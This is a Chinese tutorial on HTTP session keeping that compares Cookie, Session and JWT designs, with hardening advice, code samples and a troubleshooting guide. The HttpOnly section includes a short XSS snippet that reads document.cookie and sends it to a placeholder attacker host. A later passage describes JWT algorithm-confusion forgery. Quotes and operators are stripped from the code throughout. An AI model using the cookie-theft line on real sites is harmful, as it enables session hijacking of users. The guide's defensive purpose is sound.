
1. 会话保持这件事得先把HTTP不记事讲透Cookie、Session、Token 这三个词几乎每个写过接口的人都在用但真正能把它们之间的关系说清楚的人并不多。我见过太多项目里前端拿着一个 token 往请求头里塞后端同时又写了一个 JSESSIONID 的 Cookie两套机制并行跑着谁也没搞明白到底哪套在起作用。等到线上出现登录后第二个请求就 401或者用户刷新页面就掉线的时候排查起来就是一场灾难。所以这篇东西我打算从最底层讲起HTTP 协议本身为什么不保存状态Cookie 是怎么被发明出来补这个窟窿的Session 又在服务端做了什么Token 为什么在移动端和分布式场景下成了主流以及这三者在真实项目里到底该怎么选、怎么配、怎么排错。不管你是刚接触后端接口的新手还是已经在维护一套登录系统的老手看完之后至少能对我该用哪个这个问题有个明确答案。1.1 HTTP 为什么天生不记事HTTP 是一个无状态协议这句话很多人都会背但它的含义值得掰开说。所谓无状态指的是服务器处理完一个请求、返回响应之后就彻底把这次交互忘干净了。它不会记得刚才那个人是谁他上次请求了什么他有没有登录过。每个请求对服务器来说都是第一次见面的陌生人。这种设计在 HTTP 诞生初期是完全合理的。那时候的网页就是一堆静态文档浏览器请求一个 HTML服务器把文件吐回去完事。谁也不需要记住谁。但 Web 很快就从看文档变成了用应用一旦有了登录、购物车、订单列表这些东西服务器就必须能认出你是刚才登录的那个人。无状态带来的直接问题就是我该怎么在一次请求里证明自己的身份最朴素的想法是每次请求都带上用户名和密码。这个方案能用但体验极差——用户每点一个链接都要重新输一遍密码而且密码在网络里反复传输泄露风险极大。所以真正被采用的方案是第一次验证身份之后服务器发给客户端一个凭证之后客户端每次请求都带上这个凭证服务器凭凭证认人。这个凭证就是会话保持机制的核心而 Cookie、Session、Token 则是这个凭证的三种不同载体形式。理解这一点很关键三者不是互相替代的竞争关系而是同一件事的三种实现路径。Cookie 是客户端存储凭证的位置Session 是服务端保存凭证对应数据的方式Token 是凭证本身可以自包含信息的一种形式。它们经常组合使用比如 Session ID 通常就存在 Cookie 里而 Token 也常常通过 Cookie 来传递。1.2 三种记忆方式的本质差异要讲清楚差异得先分清两个维度凭证存在哪和状态存在哪。Cookie 方案状态数据全部存在客户端。服务器把用户信息比如 user_id、角色、过期时间编码后写进 Cookie客户端每次请求带上服务器解码后直接使用。服务器端不存储任何东西。Session 方案客户端只存一个没有意义的 ID真正的数据存在服务端内存、Redis、数据库都行。服务器拿到 ID 之后去自己的存储里查对应的数据。Token 方案本质上和 Cookie 方案接近状态也是自包含在凭证里的。区别在于凭证不再依赖浏览器自动携带的 Cookie而是通过请求头通常是Authorization: Bearer xxx手动传递并且常用签名保证不可篡改。用生活化的类比Cookie 方案像是给你一张写满信息的会员卡卡上直接印着你的姓名、等级、有效期门口保安看一眼卡面就放行Session 方案像是给你一个储物柜号码牌牌子上只有编号保安得拿着编号去前台查档案才知道你是谁Token 方案则像是给你一张带防伪水印的电子票票面信息齐全保安用验票机扫一下签名就能确认真伪不需要查档案。这三条路径各有各的坑。Cookie 方案的坑在于信息裸露在客户端用户改一下就成管理员了Session 方案的坑在于服务端要存东西多台服务器之间得同步Token 方案的坑在于签发出去就收不回来想强制下线很麻烦。后面的章节我会逐个拆开讲包括具体怎么配置、怎么防坑、怎么排查故障。提示不要因为某个方案看起来先进就无脑选它。选型的依据永远是业务场景——用户量、部署形态、是否需要移动端、能否接受强制下线延迟而不是技术潮流。2. Cookie写在浏览器里的身份凭证Cookie 是最早被用来解决会话保持问题的机制也是被误解最多的一个。很多人以为 Cookie 是一种登录技术其实它只是一个由服务器写入、由浏览器自动携带的小段文本。它本身不做任何认证判断认证逻辑完全在服务端。把 Cookie 想象成浏览器帮你保管并自动贴到信封上的便签就够了。2.1 Cookie 的写入、携带与作用域规则Cookie 的完整生命周期是这样的客户端第一次请求登录接口服务器验证成功后在响应头里加一行Set-Cookie浏览器收到后把这个键值对存到本地。之后每次请求同一个域下的资源浏览器会自动把匹配的 Cookie 放进请求头的Cookie字段里服务器读取后做判断。关键在匹配这两个字。浏览器不是把所有 Cookie 都无脑发出去的它有一套严格的作用域规则DomainCookie 属于哪个域名。不设置时默认是当前域名。设置成.example.com表示所有子域名共享。PathCookie 在哪个路径下生效。默认是当前路径。设置成/表示全站生效。Expires / Max-Age过期时间。不设置就是会话 Cookie浏览器关闭即消失设置了就是持久 Cookie到点才过期。Secure只在 HTTPS 连接下发送。HttpOnly禁止 JavaScript 通过document.cookie读取。SameSite控制跨站请求时是否携带取值Strict、Lax、None。这套规则是排查 Cookie 问题的第一把钥匙。我遇到过不止一次本地测试一切正常部署到测试环境 Cookie 就丢了的情况最后发现是 Domain 配成了localhost或者 Path 配成了/api导致首页请求根本带不上 Cookie。这类问题不需要改代码看一眼响应头就能定位。还有一点新手容易懵Cookie 有大小和数量限制。单个 Cookie 一般不超过 4KB每个域名下的 Cookie 数量也有上限各家浏览器不同通常在 50 个左右。所以千万不要把整个用户对象序列化后塞进 Cookie一是体积会超二是敏感信息不该往外放。2.2 HttpOnly、Secure、SameSite 三道闸门这三个属性是 Cookie 安全的核心配置得当能挡掉大量常见攻击。HttpOnly是防 XSS 的第一道墙。假设你的页面有个评论功能用户提交了一段恶意脚本这段脚本被存进数据库又渲染给了其他用户。如果会话 Cookie 没开 HttpOnly那段脚本就能执行document.cookie把别人的会话 ID 偷走直接冒用身份登录。开了 HttpOnly 之后JS 读不到这个 Cookie攻击者就拿不到凭证。// 未开 HttpOnly 时攻击者注入的脚本可以这样直接读走凭证 const stolen document.cookie; fetch(https://attacker.example/collect?data encodeURIComponent(stolen)); // 开启 HttpOnly 后这一行只能拿到空字符串Secure是防明文传输的。开了之后Cookie 只在 HTTPS 连接下发送。这一点极其重要——HTTP 是明文协议中间任何一个网络节点都能看到请求内容Cookie 里的会话凭证等于裸奔。热搜里经常出现的http和https的区别这类问题落到会话保持上就是一句话不带 Secure 的会话 Cookie在 HTTP 下等于把钥匙挂在门上。SameSite是防 CSRF 的。CSRF 的原理是攻击者诱导用户在自己已经登录的网站 A 上从另一个恶意网站 B 发起一个请求浏览器会自动带上 A 的 Cookie导致用户被操作。SameSite 就是告诉浏览器跨站请求时别带这个 Cookie。SameSite 取值行为适用场景Strict完全禁止跨站携带对安全要求极高的后台系统Lax顶级导航的 GET 请求可携带大多数网站的默认值兼顾体验None允许跨站携带但必须同时设置 Secure需要嵌入第三方页面的场景注意现在主流浏览器默认已经是 Lax如果你发现自己的登录回调在Strict下失效多半是 OAuth 之类的跳转流程跨站了改回Lax通常能解决。但改之前先想清楚这个请求有没有被 CSRF 利用的风险。2.3 服务端设置 Cookie 的实操配置 Cookie 是最容易写错的一环因为框架的默认值往往不安全。下面用一个 Node.js 原生 HTTP 服务的例子把该设的属性一次设全// 登录成功后下发会话 Cookie 的典型写法 const sessionId generateSecureId(); // 用加密安全随机数生成别用时间戳 res.setHeader(Set-Cookie, [ SID${sessionId}; Max-Age1800; Path/; Domain.example.com; HttpOnly; Secure; SameSiteLax ]);拆解一下每个参数Max-Age1800表示 30 分钟。如果是普通后台15 到 30 分钟比较合适如果是用户频繁操作的场景可以放宽到 2 小时但一定要配合服务端的滑动续期。Path/保证全站都能带上。如果你的 API 全部挂在/api下且页面不需要读这个 Cookie收紧到/api反而更安全。Domain.example.com前面的点表示包含子域名。如果不需要子域共享直接省略 Domain 属性浏览器会锁定为当前域名安全性更高。HttpOnly、Secure、SameSite三个按上一节的建议设。用 curl 验证一下下发结果这是我最常用的排查手段curl -i -X POST https://api.example.com/login \ -H Content-Type: application/json \ -d {username:tester,password:***} \ | grep -i set-cookie如果这一行输出的 Cookie 少了HttpOnly或Secure说明你的框架配置里没开赶紧补上。顺带说一个热词里频繁出现的场景某平台的签到脚本 Cookie 总是失效。这大概率不是 Cookie 机制的问题而是两个原因一是对方服务端做了滑动过期长时间不请求就作废二是脚本运行环境无头浏览器本身没有正确持久化 Cookie。排查方向应该是先手动导出 Cookie 确认有效期再检查脚本是否每次启动都重新创建了空白的上下文。3. Session把状态放在服务端Session 的思路和 Cookie 正好相反客户端只拿一个没有意义的钥匙编号所有真实数据都锁在服务端。这个编号就是我们常说的 Session ID服务端拿到它去自己的存储里查出对应的用户信息。这样做的好处是敏感数据不出服务器坏处是服务端要扛存储压力还得解决多实例共享的问题。3.1 Session 的创建、读取与销毁一个完整的 Session 生命周期分四步创建用户登录成功服务端生成一个足够随机的 Session ID把用户信息写进存储然后把 ID 通过 Cookie 下发给客户端。这个 ID 的唯一性和随机性至关重要用可预测的 ID 等于给攻击者发邀请函。读取客户端后续每次请求自动带上 Cookie服务端根据 Session ID 去存储里查数据。查到就说明会话有效查不到就是过期或伪造。刷新用户持续操作时服务端延长这个 Session 的过期时间。最简单的做法是每次读取成功就重设 TTL。销毁用户点击退出登录或者超时服务端删除这条记录并让客户端把 Cookie 也失效。存储选型是这环节最需要想清楚的。单机内存比如 Java 的 HttpSession 默认用 ConcurrentHashMap写着最省事但一旦服务重启所有用户全部掉线一旦部署多台机器用户请求落到不同机器上就会发现这个 Session 我不认识于是被迫反复登录。所以生产环境基本都用集中式存储Redis 是最常见的选择。# 用 Redis 做 Session 存储的简化示例 import redis, secrets, json r redis.Redis(host127.0.0.1, port6379, db0) SESSION_TTL 1800 # 30 分钟 def create_session(user_id): sid secrets.token_urlsafe(32) # 加密安全随机长度足够 r.setex(fsess:{sid}, SESSION_TTL, json.dumps({uid: user_id})) return sid def load_session(sid): if not sid: return None key fsess:{sid} data r.get(key) if data is None: return None r.expire(key, SESSION_TTL) # 滑动续期 return json.loads(data)这段代码里有两个细节值得说secrets.token_urlsafe(32)生成的 ID 有 256 位熵暴力枚举基本不可能r.expire实现滑动续期用户只要在活动就不会掉线。如果你的业务要求绝对安全比如金融类可以不做滑动续期改成固定绝对过期时间强制用户定期重新认证。3.2 Session 固定攻击与 ID 轮换Session 固定攻击Session Fixation是 Session 机制里最经典的安全漏洞原理不复杂攻击者先访问网站拿到一个 Session ID然后想方设法把这个 ID 塞给受害者比如通过一个带 ID 参数的链接受害者用这个 ID 登录之后攻击者手里那个 ID 就成了已登录状态的凭证直接进去偷数据。防御手段只有一个核心动作在用户登录成功的那一刻废弃旧的 Session ID重新生成一个全新的。def login(request, user): old_sid request.cookies.get(SID) if old_sid: r.delete(fsess:{old_sid}) # 关键登录时作废旧 ID new_sid create_session(user.id) # 生成全新 ID response.set_cookie(SID, new_sid, httponlyTrue, secureTrue, samesiteLax) return response很多框架的新版本已经默认做了这个轮换但老项目里手动管理 Session 的情况非常普遍这时候就得自己记住加这一步。我见过一个内部系统就是因为没做轮换被安全扫描直接标了高危改起来其实就三行代码。3.3 多实例部署下的 Session 共享方案当服务从一台扩到多台Session 就必须解决共享问题。我经手过的方案大致三种各有取舍方案原理优点缺点集中式存储所有实例读写同一个 Redis部署简单扩容无感多一次网络往返Redis 挂了全站登录失效会话粘滞负载均衡按 Session ID 固定转发不用改代码某台机器故障就掉一批用户扩容时分布不均无状态化不用 Session改用 Token真正水平扩展需要重构认证逻辑无法即时踢人我一般推荐集中式存储。会话粘滞看着省事但在容器化环境里 IP 频繁变化粘滞规则很容易失效属于治标不治本。而无状态化虽然优雅但对已有系统来说改造成本不小得权衡。实操心得Redis 存 Session 时一定要设 TTL用SETEX而不是SET。我见过有人忘了设过期Redis 内存一路涨到报警全是几个月前就没用的僵尸 Session。另外可以考虑给 Session 键加个业务前缀比如sess:、admin_sess:排查和清理时方便得多。4. TokenJWT 背后的无状态思路Token 方案这几年热度一直很高尤其是前后端分离和移动端普及之后。它的核心思想是凭证自包含服务器把需要的信息编码进 Token 本身客户端每次带上服务器验证签名后直接读取信息不需要查任何存储。这天然解决了分布式环境下的共享问题但也带来了一些新的麻烦比如注销。4.1 JWT 的三段结构与签名校验提到 Token绕不开 JWTJSON Web Token。它的结构是三段用点分隔的字符串Header.Payload.Signature。Header声明类型和签名算法比如{alg:HS256,typ:JWT}。Payload存放实际数据比如用户 ID、角色、过期时间。这部分只是 Base64 编码不是加密任何人拿到都能解开看。Signature用密钥对前两段做签名防止篡改。这一点必须反复强调JWT 的 Payload 是明文可读的。热搜里cookie中文这类问题背后其实是同一个认知误区——很多人以为编码了就等于加密了。绝对不是。所以 Payload 里绝不能放密码、身份证号这类敏感信息只能放 user_id 这种不可推断的标识。签名校验的过程是服务器用自己的密钥对收到的 Header 和 Payload 重新算一遍签名和 Token 里带的第三段对比。一致就说明没被改过不一致就拒绝。这里的关键是密钥不能泄露一旦泄露攻击者可以随便伪造任意用户的 Token。// 用 jsonwebtoken 库签发与校验的典型写法 const jwt require(jsonwebtoken); const SECRET process.env.JWT_SECRET; // 从环境变量读取绝不硬编码 // 签发有效期 15 分钟 function issueToken(user) { return jwt.sign( { uid: user.id, role: user.role }, SECRET, { expiresIn: 15m, algorithm: HS256 } ); } // 校验过期或签名不符都会抛异常 function verifyToken(token) { try { return jwt.verify(token, SECRET, { algorithms: [HS256] }); } catch (e) { return null; } }有一个特别需要注意的坑校验时必须显式指定算法。早期有一些库存在算法混淆漏洞攻击者可以把 Header 里的算法改成none或者把非对称算法偷换成对称算法让服务器用公钥当密钥去验签从而伪造 Token。写代码时把algorithms明确列出来就能挡住这类攻击。4.2 双 Token 方案与续签实操单 Token 有个两难有效期设短了用户频繁掉线设长了一旦泄露风险窗口很大。工程上的标准解法是双 Token 方案——一个短命的 Access Token 负责日常访问一个长命的 Refresh Token 专门用来换新的 Access Token。具体流程是这样的登录时同时下发两个 Token。Access Token 有效期 15 分钟Refresh Token 有效期 7 天。Access Token 过期后客户端拿着 Refresh Token 去专门的刷新接口换一对新的。刷新接口只认 Refresh Token别的接口不认。# 刷新接口的典型调用 curl -X POST https://api.example.com/auth/refresh \ -H Content-Type: application/json \ -d {refresh_token:eyJhbGciOi...}这个方案的精髓在于刷新时可以做风控。比如检测到 Refresh Token 被重复使用说明可能被盗服务端可以直接把整个会话家族全部作废强制重新登录。这就是刷新令牌轮换策略。热搜里经常出现各种 token 报错比如token exchange failed、refresh_token is empty这类。从排查经验看refresh_token is empty基本都是客户端读取本地存储失败导致的——要么是键名写错要么是存储被清空要么是异步读取没等结果就发了请求。排查时先在浏览器开发者工具里确认 Refresh Token 到底存不存在、键名对不对比在代码里翻半天快得多。4.3 Token 注销、失效与黑名单Token 方案最大的短板就是签发出去收不回来。因为它无状态服务端不存任何记录所以没有把某个 Token 删掉这个操作。用户点了退出登录Token 在客户端删掉了但如果在删除之前这个 Token 被截获了它在过期之前一直有效。解决办法是引入一个违反无状态的补丁——黑名单。具体做法是在校验通过之后再查一次黑名单存在 Redis 里如果这个 Token或其 jti 标识在黑名单里就拒绝。黑名单记录只需要保留到 Token 自然过期即可过期后自动清理不会无限膨胀。def verify_with_blacklist(token): payload verify_token(token) if payload is None: return None if redis.exists(fblk:{payload[jti]}): return None # 已被主动注销 return payload这样做确实打破了纯粹的无状态但代价可控只在需要主动踢人的业务里加这层检查普通接口可以直接跳过。另一个更轻量的做法是给用户维护一个密码修改时间戳Token 里带上签发时间如果签发时间早于最后一次改密时间就作废。这样改密码就能让所有旧 Token 立即失效实现成本很低。提示Access Token 的有效期建议控制在 15 到 30 分钟。太短会导致刷新请求过于频繁给服务端带来额外压力太长则削弱了 Token 泄露后的风险控制能力。这个区间是我实测下来比较平衡的取值。5. 三套方案怎么选横向对比与混合落地讲完三种机制回到最实际的问题我的项目到底该用哪个我的经验是脱离场景谈选型没有意义得先看你面对的是什么问题。5.1 关键维度对比先把核心差异摆在一张表里方便快速对照维度Cookie 直存SessionTokenJWT状态位置客户端服务端客户端自包含服务端存储无需要无黑名单除外水平扩展容易需共享存储容易主动注销难容易难需黑名单移动端友好差依赖浏览器一般好XSS 风险高除非 HttpOnly低ID 无意义中存 local storage 易被读CSRF 风险有有低需手动带 Header传输体积小小较大从表里能看出几个规律。Session 在能即时踢人和敏感数据不外泄这两点上优势明显适合后台管理系统、金融类应用这种对安全和管控要求高的场景。Token 在跨端和水平扩展上更胜一筹适合面向移动 App、小程序、多端统一认证的场景。Cookie 直存信息的方式基本已经不推荐单独使用了因为客户端可改除非你加了签名校验那其实就变成 Token 了。5.2 混合方案把两者的长处拼起来真实项目里纯用某一种的情况其实很少更多是混合。我最常用的组合是用 Session 管理登录态用 Token 做接口鉴权。具体来说用户在网页端登录时走 SessionSession ID 存在 HttpOnly Cookie 里天然防 XSS 窃取而对外提供的开放接口用 JWT方便第三方系统对接和移动端调用。两套机制互不干扰各自服务各自的场景。还有一种很实用的组合是Token 存 Cookie。也就是签发 JWT但不下发给前端 JS 手动管理而是直接写进 HttpOnly Cookie 里。这样既有 Token 的无状态优势又拿到了 Cookie 的 HttpOnly 保护避免了把 Token 存在 localStorage 里被 XSS 一锅端。代价是跨域调用时需要配置好 CORS 的凭证传递。组合方式适合场景关键配置点Session HttpOnly Cookie传统 Web、后台系统集中存储、登录轮换 IDJWT Authorization Header移动端、开放 API短有效期、双 Token 续签JWT HttpOnly Cookie前后端分离的 Web 应用CORS 凭证、SameSite 设置SessionWeb JWTApp多端共存的产品两套认证中间件隔离选组合的时候我的判断顺序是先问有没有移动端有就至少得支持 Token再问要不要即时踢人要就得有服务端状态最后问团队对哪套更熟悉因为运维和维护成本往往比理论上的优雅更重要。一套团队玩不转的先进方案上线后出的问题比老方案多得多。6. 常见故障与排查实录会话相关的问题有个共同特点现象五花八门根源往往就那几个。下面这些是我这些年踩过的、帮别人看过的典型情况整理成速查表遇到问题可以对着找。6.1 典型报错速查表现象常见原因排查方向登录后下一个请求就 401Cookie 没带上 / Token 没放进请求头看请求头的 Cookie 或 Authorization 字段本地正常测试环境登录失效Domain / Path 配错或跨域未带凭证对比两个环境的 Set-Cookie用户频繁掉线会话 TTL 太短或滑动续期没生效检查 TTL 配置和续期逻辑服务重启后全部掉线Session 存在单机内存里换成 Redis 等集中存储多台机器登录态不一致Session 没共享落到不同实例检查负载均衡和存储配置502 bad gateway上游服务挂了或超时看网关日志和被调服务的健康状态Token 刷新失败Refresh Token 为空或被覆盖检查客户端存储的读取时机和键名跨站请求被拦截SameSite 设成了 Strict评估是否可放宽为 Lax这里要单独说一个容易搞混的点热搜里出现过一个local session manager 占用 CPU 过高的问题它和 Web 会话保持完全没有关系。那是操作系统里负责远程桌面会话管理的系统进程名字里恰好有 session 这个词而已。类似的还有protocol error. session setup failed.这类多半是远程连接协议层面的问题不是 HTTP 会话。排查时先确认术语指的是哪一层能省下大量时间。再补充一个压测场景的坑。用 JMeter 之类的工具做压力测试时默认每个线程是独立会话的如果你要模拟同一个用户反复请求必须在测试计划里加上 HTTP Cookie 管理器并且确保线程间不共享。否则压出来的结果会严重失真——因为每个虚拟用户都在反复走登录流程测出来的 QPS 压根不是真实业务的表现。这个坑我在第一次做联合压测的时候就踩过后来专门把所有涉及登录的测试脚本都统一加了 Cookie 管理器。6.2 一套可复用的排查思路遇到会话问题我一般按这个顺序走基本能覆盖八成情况第一步看响应头。打开浏览器开发者工具的网络面板找到登录请求看Set-Cookie那一行到底下发了什么。属性对不对、Domain 是不是你要的、有没有 HttpOnly 和 Secure一眼就能看到。# 或者用 curl 直接看比浏览器更快 curl -i -X POST https://api.example.com/login \ -H Content-Type: application/json \ -d {username:u,password:p}第二步看请求头。找到登录之后第一个失败的请求看它的Cookie字段里有没有带上会话 ID或者Authorization里有没有 Token。如果没有问题出在客户端如果有但服务端还拒绝问题就出在服务端。第三步看服务端存储。如果是 Session 方案去 Redis 里确认对应的键到底存不存在、值对不对、TTL 还剩多少。redis-cli --scan --pattern sess:* | head redis-cli ttl sess:你看到的那个ID redis-cli get sess:你看到的那个ID第四步卡时间点。如果是用着用着就掉了记录掉线前后的时间差和 TTL 配置对比。如果接近 TTL 时长那基本就是续期没做或者做错了。第五步隔离变量。换浏览器、换网络、重新登录逐个排除是环境问题还是机制问题。很多时候清一下 Cookie 就好了恰恰说明旧凭证残留导致了冲突这时候要反思的是为什么旧凭证没被正确清理。实操心得线上排查会话问题最好能拿到请求的完整链路日志从网关到业务服务并在日志里打印会话 ID 的前几位不用全打避免日志泄露凭证。这样一旦用户报障你能顺着 ID 追下去而不是靠猜。另外建议在开发环境随手准备一个一键清空所有会话存储的脚本排错时非常省事。最后一个体会会话保持机制看起来是老生常谈但它牵涉的其实是认证、存储、分布式、安全四条线的交汇点。每次我帮别人看登录问题最后定位到的地方往往不在认证代码里而是在 Cookie 属性、存储配置、或者跨域设置上。所以真正掌握这套东西靠的不是记住 Cookie、Session、Token 三个定义而是理解它们背后的取舍逻辑以及在具体场景下该往哪个方向调。